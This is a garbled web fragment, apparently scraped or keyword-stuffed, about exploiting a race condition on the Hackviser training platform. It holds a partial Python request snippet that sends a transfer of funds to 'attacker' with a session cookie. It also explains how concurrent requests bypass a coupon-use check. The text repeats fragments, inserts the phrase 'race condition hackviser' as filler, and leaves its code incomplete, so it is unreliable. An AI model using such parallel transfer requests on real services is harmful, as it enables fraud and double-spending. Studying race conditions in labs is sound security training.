Race — Condition Hackviser

# Your session cookies cookies = {'session': 'your_session_token_here'}

def send_request(): data = {'amount': '100', 'to_user': 'attacker'} try: r = requests.post(target_url, data=data, cookies=cookies) print(f"Status: {r.status_code}") except Exception as e: print(e) race condition hackviser

Between step 2 (check) and step 4 (update), a second concurrent request with the coupon code could also pass the check (since used is still false ), leading to multiple redemptions. 'to_user': 'attacker'} try: r = requests.post(target_url

You cannot exploit a race condition by clicking a button manually; you need tools that send requests in parallel (at the exact same millisecond). race condition hackviser